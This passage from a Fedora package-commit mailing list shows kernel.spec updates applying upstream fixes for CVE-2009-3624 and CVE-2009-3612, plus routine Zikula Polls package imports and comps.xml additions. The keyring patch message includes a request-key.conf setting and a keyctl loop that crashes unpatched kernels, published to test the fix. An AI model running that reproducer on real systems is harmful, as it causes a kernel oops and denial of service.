 # The number of times a request will be retired before 
 # generating a timeout 
diff --git a/utils/mount/stropts.c b/utils/mount/stropts.c
index 069bdc1..ceefdb0 100644
--- a/utils/mount/stropts.c
+++ b/utils/mount/stropts.c
@@ -45,6 +45,7 @@
 #include "parse_opt.h"
 #include "version.h"
 #include "parse_dev.h"
+#include "conffile.h"
 
 #ifndef NFS_PROGRAM
 #define NFS_PROGRAM	(100003)
@@ -283,6 +284,14 @@ static int nfs_validate_options(struct nfsmount_info *mi)
 		if (option && strcmp(option, "rdma") == 0)
 			mi->version = 3;
 	}
+	/*
+	 * Use the default value set in the config file when
+	 * the version has not been explicitly set.
+	 */
+	if (mi->version == 0 && config_default_vers) {
+		if (config_default_vers < 4)
+			mi->version = config_default_vers;
+	}
 
 	if (!nfs_append_sloppy_option(mi->options))
 		return 0;



From cebbert at fedoraproject.org  Thu Oct 22 20:54:22 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu, 22 Oct 2009 20:54:22 +0000 (UTC)
Subject: rpms/kernel/F-11
	keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch, 
	NONE, 1.1 kernel.spec, 1.1771, 1.1772
Message-ID: <20091022205422.CC45911C008C@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20128

Modified Files:
	kernel.spec 
Added Files:
	keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch 
Log Message:
Fix exploitable oops in keyring code.

keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch:
 keyctl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch ---
From: David Howells <dhowells at redhat.com>
Date: Thu, 15 Oct 2009 09:14:35 +0000 (+0100)
Subject: KEYS: get_instantiation_keyring() should inc the keyring refcount in all cases
X-Git-Tag: v2.6.32-rc5~4
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=21279cfa107af07ef985539ac0de2152b9cba5f5

KEYS: get_instantiation_keyring() should inc the keyring refcount in all cases

The destination keyring specified to request_key() and co. is made available to
the process that instantiates the key (the slave process started by
/sbin/request-key typically).  This is passed in the request_key_auth struct as
the dest_keyring member.

keyctl_instantiate_key and keyctl_negate_key() call get_instantiation_keyring()
to get the keyring to attach the newly constructed key to at the end of
instantiation.  This may be given a specific keyring into which a link will be
made later, or it may be asked to find the keyring passed to request_key().  In
the former case, it returns a keyring with the refcount incremented by
lookup_user_key(); in the latter case, it returns the keyring from the
request_key_auth struct - and does _not_ increment the refcount.

The latter case will eventually result in an oops when the keyring prematurely
runs out of references and gets destroyed.  The effect may take some time to
show up as the key is destroyed lazily.

To fix this, the keyring returned by get_instantiation_keyring() must always
have its refcount incremented, no matter where it comes from.

This can be tested by setting /etc/request-key.conf to:

#OP	TYPE	DESCRIPTION	CALLOUT INFO	PROGRAM ARG1 ARG2 ARG3 ...
#======	=======	===============	===============	===============================
create  *	test:*		*		|/bin/false %u %g %d %{user:_display}
negate	*	*		*		/bin/keyctl negate %k 10 @u

and then doing:

	keyctl add user _display aaaaaaaa @u
        while keyctl request2 user test:x test:x @u &&
        keyctl list @u;
        do
                keyctl request2 user test:x test:x @u;
                sleep 31;
                keyctl list @u;
        done

which will oops eventually.  Changing the negate line to have @u rather than
%S at the end is important as that forces the latter case by passing a special
keyring ID rather than an actual keyring ID.

Reported-by: Alexander Zangerl <az at bond.edu.au>
Signed-off-by: David Howells <dhowells at redhat.com>
Tested-by: Alexander Zangerl <az at bond.edu.au>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
---

diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c
index 2fb28ef..06ec722 100644
--- a/security/keys/keyctl.c
+++ b/security/keys/keyctl.c
@@ -873,7 +873,7 @@ static long get_instantiation_keyring(key_serial_t ringid,
 	/* otherwise specify the destination keyring recorded in the
 	 * authorisation key (any KEY_SPEC_*_KEYRING) */
 	if (ringid >= KEY_SPEC_REQUESTOR_KEYRING) {
-		*_dest_keyring = rka->dest_keyring;
+		*_dest_keyring = key_get(rka->dest_keyring);
 		return 0;
 	}
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1771
retrieving revision 1.1772
diff -u -p -r1.1771 -r1.1772
--- kernel.spec	21 Oct 2009 05:53:43 -0000	1.1771
+++ kernel.spec	22 Oct 2009 20:54:21 -0000	1.1772
@@ -819,6 +819,9 @@ Patch16400: drm-r128-add-test-for-initia
 # rhbz#529626
 Patch16401: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix exploitable oops in keyring code
+Patch16420: keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1536,6 +1539,9 @@ ApplyPatch drm-r128-add-test-for-initial
 # rhbz#529626
 ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix exploitable oops in keyring code.
+ApplyPatch keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2124,6 +2130,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-93
+- Fix exploitable oops in keyring code.
+
 * Wed Oct 21 2009 Kyle McMartin <kyle at redhat.com>
 - shut-up-LOCK_TEST_WITH_RETURN.patch: sort out #445331... or paper bag
   over it for now until the lock warnings can be killed.



From cebbert at fedoraproject.org  Thu Oct 22 21:58:44 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu, 22 Oct 2009 21:58:44 +0000 (UTC)
Subject: rpms/kernel/F-12
	keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch, 
	NONE, 1.1 netlink-fix-typo-in-initialization.patch, NONE,
	1.1 kernel.spec, 1.1877, 1.1878
Message-ID: <20091022215844.B71FD11C008C@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7383

Modified Files:
	kernel.spec 
Added Files:
	keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch 
	netlink-fix-typo-in-initialization.patch 
Log Message:
Fix exploitable OOPS in keyring code. (CVE-2009-3624)
Fix kernel memory leak to userspace. (CVE-2009-3612)

keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch:
 keyctl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch ---
From: David Howells <dhowells at redhat.com>
Date: Thu, 15 Oct 2009 09:14:35 +0000 (+0100)
Subject: KEYS: get_instantiation_keyring() should inc the keyring refcount in all cases
X-Git-Tag: v2.6.32-rc5~4
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=21279cfa107af07ef985539ac0de2152b9cba5f5

KEYS: get_instantiation_keyring() should inc the keyring refcount in all cases

The destination keyring specified to request_key() and co. is made available to
the process that instantiates the key (the slave process started by
/sbin/request-key typically).  This is passed in the request_key_auth struct as
the dest_keyring member.

keyctl_instantiate_key and keyctl_negate_key() call get_instantiation_keyring()
to get the keyring to attach the newly constructed key to at the end of
instantiation.  This may be given a specific keyring into which a link will be
made later, or it may be asked to find the keyring passed to request_key().  In
the former case, it returns a keyring with the refcount incremented by
lookup_user_key(); in the latter case, it returns the keyring from the
request_key_auth struct - and does _not_ increment the refcount.

The latter case will eventually result in an oops when the keyring prematurely
runs out of references and gets destroyed.  The effect may take some time to
show up as the key is destroyed lazily.

To fix this, the keyring returned by get_instantiation_keyring() must always
have its refcount incremented, no matter where it comes from.

This can be tested by setting /etc/request-key.conf to:

#OP	TYPE	DESCRIPTION	CALLOUT INFO	PROGRAM ARG1 ARG2 ARG3 ...
#======	=======	===============	===============	===============================
create  *	test:*		*		|/bin/false %u %g %d %{user:_display}
negate	*	*		*		/bin/keyctl negate %k 10 @u

and then doing:

	keyctl add user _display aaaaaaaa @u
        while keyctl request2 user test:x test:x @u &&
        keyctl list @u;
        do
                keyctl request2 user test:x test:x @u;
                sleep 31;
                keyctl list @u;
        done

which will oops eventually.  Changing the negate line to have @u rather than
%S at the end is important as that forces the latter case by passing a special
keyring ID rather than an actual keyring ID.

Reported-by: Alexander Zangerl <az at bond.edu.au>
Signed-off-by: David Howells <dhowells at redhat.com>
Tested-by: Alexander Zangerl <az at bond.edu.au>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
---

diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c
index 2fb28ef..06ec722 100644
--- a/security/keys/keyctl.c
+++ b/security/keys/keyctl.c
@@ -873,7 +873,7 @@ static long get_instantiation_keyring(key_serial_t ringid,
 	/* otherwise specify the destination keyring recorded in the
 	 * authorisation key (any KEY_SPEC_*_KEYRING) */
 	if (ringid >= KEY_SPEC_REQUESTOR_KEYRING) {
-		*_dest_keyring = rka->dest_keyring;
+		*_dest_keyring = key_get(rka->dest_keyring);
 		return 0;
 	}
 

netlink-fix-typo-in-initialization.patch:
 cls_api.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netlink-fix-typo-in-initialization.patch ---
From: Jiri Pirko <jpirko at redhat.com>
Date: Thu, 8 Oct 2009 08:21:46 +0000 (-0700)
Subject: netlink: fix typo in initialization
X-Git-Tag: v2.6.32-rc5~13^2~33
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=ad61df918c44316940404891d5082c63e79c256a

netlink: fix typo in initialization

Commit 9ef1d4c7c7aca1cd436612b6ca785b726ffb8ed8 ("[NETLINK]: Missing
initializations in dumped data") introduced a typo in
initialization. This patch fixes this.

Signed-off-by: Jiri Pirko <jpirko at redhat.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
---

diff --git a/net/sched/cls_api.c b/net/sched/cls_api.c
index 6a53694..7cf6c0f 100644
--- a/net/sched/cls_api.c
+++ b/net/sched/cls_api.c
@@ -350,7 +350,7 @@ static int tcf_fill_node(struct sk_buff *skb, struct tcf_proto *tp,
 	tcm = NLMSG_DATA(nlh);
 	tcm->tcm_family = AF_UNSPEC;
 	tcm->tcm__pad1 = 0;
-	tcm->tcm__pad1 = 0;
+	tcm->tcm__pad2 = 0;
 	tcm->tcm_ifindex = qdisc_dev(tp->q)->ifindex;
 	tcm->tcm_parent = tp->classid;
 	tcm->tcm_info = TC_H_MAKE(tp->prio, tp->protocol);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1877
retrieving revision 1.1878
diff -u -p -r1.1877 -r1.1878
--- kernel.spec	22 Oct 2009 09:58:27 -0000	1.1877
+++ kernel.spec	22 Oct 2009 21:58:44 -0000	1.1878
@@ -759,6 +759,12 @@ Patch14400: acpi-pci-fix-null-pointer-de
 # fix local DoS connecting to shutdown unix socket (#529626)
 Patch14401: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix exploitable OOPS in keyring code. (CVE-2009-3624)
+Patch14410: keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
+
+# Fix kernel memory leak to userspace. (CVE-2009-3612)
+Patch14411: netlink-fix-typo-in-initialization.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1419,6 +1425,12 @@ ApplyPatch acpi-pci-fix-null-pointer-der
 # fix for local DoS on AF_UNIX
 ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix exploitable OOPS in keyring code. (CVE-2009-3624)
+ApplyPatch keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
+
+# Fix kernel memory leak to userspace. (CVE-2009-3612)
+ApplyPatch netlink-fix-typo-in-initialization.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2069,7 +2081,11 @@ fi
 # and build.
 
 %changelog
-* Thu Oct 22 2009 Dave Airlie <airlied at redhat.com>
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix exploitable OOPS in keyring code. (CVE-2009-3624)
+- Fix kernel memory leak to userspace. (CVE-2009-3612)
+
+* Thu Oct 22 2009 Dave Airlie <airlied at redhat.com>  2.6.31.5-91.rc1
 - kms: fix palette
 
 * Wed Oct 21 2009 Chuck Ebbert <cebbert at redhat.com>



From sparks at fedoraproject.org  Thu Oct 22 22:57:16 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Thu, 22 Oct 2009 22:57:16 +0000 (UTC)
Subject: rpms/zikula-module-Polls/devel import.log, NONE,
	1.1 zikula-module-Polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022225716.71C9B11C008C@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-Polls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28943/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-Polls.spec 
Log Message:
New package.



--- NEW FILE import.log ---
zikula-module-Polls-2_0_2-3_fc11:HEAD:zikula-module-Polls-2.0.2-3.fc11.src.rpm:1256252172


--- NEW FILE zikula-module-Polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          Polls

Name:           zikula-module-%{zikula_modname}
Version:        2.0.2
Release:        3%{?dist}
Summary:        Simple voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/advancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/3
Source0:        %{zikula_modname}_2_0_2.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Polls is a simple voting system for the Zikula CMS system


%prep
%setup -qn modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt


%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Jul 23 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-3
- Fixed SOURCE0 in SPEC

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-2
- Fixed wrong-file-end-of-line-encoding errors

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:34:39 -0000	1.1
+++ .cvsignore	22 Oct 2009 22:57:10 -0000	1.2
@@ -0,0 +1 @@
+Polls_2_0_2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:34:40 -0000	1.1
+++ sources	22 Oct 2009 22:57:10 -0000	1.2
@@ -0,0 +1 @@
+cad0cb9287ab06d935461b7e5fbbf939  Polls_2_0_2.zip



From sparks at fedoraproject.org  Thu Oct 22 23:03:18 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Thu, 22 Oct 2009 23:03:18 +0000 (UTC)
Subject: rpms/zikula-module-Polls/EL-5 import.log, NONE,
	1.1 zikula-module-Polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022230318.97BEF11C008C@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-Polls/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31782/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-Polls.spec 
Log Message:
New package.



--- NEW FILE import.log ---
zikula-module-Polls-2_0_2-3_fc11:EL-5:zikula-module-Polls-2.0.2-3.fc11.src.rpm:1256252579


--- NEW FILE zikula-module-Polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          Polls

Name:           zikula-module-%{zikula_modname}
Version:        2.0.2
Release:        3%{?dist}
Summary:        Simple voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/advancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/3
Source0:        %{zikula_modname}_2_0_2.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Polls is a simple voting system for the Zikula CMS system


%prep
%setup -qn modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt


%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Jul 23 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-3
- Fixed SOURCE0 in SPEC

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-2
- Fixed wrong-file-end-of-line-encoding errors

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:34:39 -0000	1.1
+++ .cvsignore	22 Oct 2009 23:03:18 -0000	1.2
@@ -0,0 +1 @@
+Polls_2_0_2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:34:40 -0000	1.1
+++ sources	22 Oct 2009 23:03:18 -0000	1.2
@@ -0,0 +1 @@
+cad0cb9287ab06d935461b7e5fbbf939  Polls_2_0_2.zip



From sparks at fedoraproject.org  Thu Oct 22 23:14:29 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Thu, 22 Oct 2009 23:14:29 +0000 (UTC)
Subject: rpms/zikula-module-Polls/F-11 import.log, NONE,
	1.1 zikula-module-Polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022231429.DB23711C008C@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-Polls/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2811/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-Polls.spec 
Log Message:
New package.



--- NEW FILE import.log ---
zikula-module-Polls-2_0_2-3_fc11:F-11:zikula-module-Polls-2.0.2-3.fc11.src.rpm:1256252635


--- NEW FILE zikula-module-Polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          Polls

Name:           zikula-module-%{zikula_modname}
Version:        2.0.2
Release:        3%{?dist}
Summary:        Simple voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/advancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/3
Source0:        %{zikula_modname}_2_0_2.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Polls is a simple voting system for the Zikula CMS system


%prep
%setup -qn modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt


%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Jul 23 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-3
- Fixed SOURCE0 in SPEC

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-2
- Fixed wrong-file-end-of-line-encoding errors

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:34:39 -0000	1.1
+++ .cvsignore	22 Oct 2009 23:14:27 -0000	1.2
@@ -0,0 +1 @@
+Polls_2_0_2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:34:40 -0000	1.1
+++ sources	22 Oct 2009 23:14:28 -0000	1.2
@@ -0,0 +1 @@
+cad0cb9287ab06d935461b7e5fbbf939  Polls_2_0_2.zip



From sparks at fedoraproject.org  Thu Oct 22 23:16:09 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Thu, 22 Oct 2009 23:16:09 +0000 (UTC)
Subject: rpms/zikula-module-Polls/F-12 import.log, NONE,
	1.1 zikula-module-Polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022231609.CE6EB11C008C@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-Polls/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3829/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-Polls.spec 
Log Message:
New package.



--- NEW FILE import.log ---
zikula-module-Polls-2_0_2-3_fc11:F-12:zikula-module-Polls-2.0.2-3.fc11.src.rpm:1256253313


--- NEW FILE zikula-module-Polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          Polls

Name:           zikula-module-%{zikula_modname}
Version:        2.0.2
Release:        3%{?dist}
Summary:        Simple voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/advancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/3
Source0:        %{zikula_modname}_2_0_2.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Polls is a simple voting system for the Zikula CMS system


%prep
%setup -qn modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt


%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Jul 23 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-3
- Fixed SOURCE0 in SPEC

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-2
- Fixed wrong-file-end-of-line-encoding errors

* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 2.0.2-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:34:39 -0000	1.1
+++ .cvsignore	22 Oct 2009 23:16:08 -0000	1.2
@@ -0,0 +1 @@
+Polls_2_0_2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-Polls/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:34:40 -0000	1.1
+++ sources	22 Oct 2009 23:16:09 -0000	1.2
@@ -0,0 +1 @@
+cad0cb9287ab06d935461b7e5fbbf939  Polls_2_0_2.zip



From cwickert at fedoraproject.org  Thu Oct 22 23:19:01 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 22 Oct 2009 23:19:01 +0000 (UTC)
Subject: comps comps-f10.xml.in,1.285,1.286
Message-ID: <20091022231901.4BC3211C008C@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5389

Modified Files:
	comps-f10.xml.in 
Log Message:
add gtrayicon, thunar-vcs-plugin and whaawmp


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.285
retrieving revision 1.286
diff -u -p -r1.285 -r1.286
--- comps-f10.xml.in	22 Oct 2009 16:05:30 -0000	1.285
+++ comps-f10.xml.in	22 Oct 2009 23:19:00 -0000	1.286
@@ -2051,6 +2051,7 @@
       <packagereq type="optional">gnotime</packagereq>
       <packagereq type="optional">gonvert</packagereq>
       <packagereq type="optional">grsync</packagereq>
+      <packagereq type="optional">gtrayicon</packagereq>
       <packagereq type="optional">gtweakui</packagereq>
       <packagereq type="optional">istanbul</packagereq>
       <packagereq type="optional">lock-keys-applet</packagereq>
@@ -4259,6 +4260,7 @@
       <packagereq type="optional">vdr-tvonscreen</packagereq>
       <packagereq type="optional">vdr-wapd</packagereq>
       <packagereq type="optional">vdradmin-am</packagereq>
+      <packagereq type="optional">whaawmp</packagereq>
       <packagereq type="optional">wmix</packagereq>
       <packagereq type="optional">xcdroast</packagereq>
       <packagereq type="optional">xfburn</packagereq>
@@ -5120,6 +5122,7 @@
       <packagereq type="optional">Terminal</packagereq>
       <packagereq type="optional">thunar-media-tags-plugin</packagereq>
       <packagereq type="optional">thunar-shares-plugin</packagereq>
+      <packagereq type="optional">thunar-vcs-plugin</packagereq>
       <packagereq type="optional">xfbib</packagereq>
       <packagereq type="optional">xfce-mcs-plugin-gsynaptics</packagereq>
       <packagereq type="optional">xfce-mcs-plugins-extra</packagereq>



From cwickert at fedoraproject.org  Thu Oct 22 23:21:15 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 22 Oct 2009 23:21:15 +0000 (UTC)
Subject: comps comps-f11.xml.in,1.316,1.317 comps-f12.xml.in,1.169,1.170
Message-ID: <20091022232115.63AD411C02A0@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6215

Modified Files:
	comps-f11.xml.in comps-f12.xml.in 
Log Message:
add gtrayicon, parole, thunar-vcs-plugin, whaawmp and xfce4-stopwatch-plugin


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.316
retrieving revision 1.317
diff -u -p -r1.316 -r1.317
--- comps-f11.xml.in	22 Oct 2009 16:05:31 -0000	1.316
+++ comps-f11.xml.in	22 Oct 2009 23:21:13 -0000	1.317
@@ -2414,6 +2414,7 @@
       <packagereq type="optional">gnotime</packagereq>
       <packagereq type="optional">gonvert</packagereq>
       <packagereq type="optional">grsync</packagereq>
+      <packagereq type="optional">gtrayicon</packagereq>
       <packagereq type="optional">gtweakui</packagereq>
       <packagereq type="optional">gvfs-obexftp</packagereq>
       <packagereq type="optional">hamster-applet</packagereq>
@@ -4903,6 +4904,7 @@
       <packagereq type="optional">padevchooser</packagereq>
       <packagereq type="optional">paman</packagereq>
       <packagereq type="optional">paprefs</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">pavucontrol</packagereq>
       <packagereq type="optional">pavumeter</packagereq>
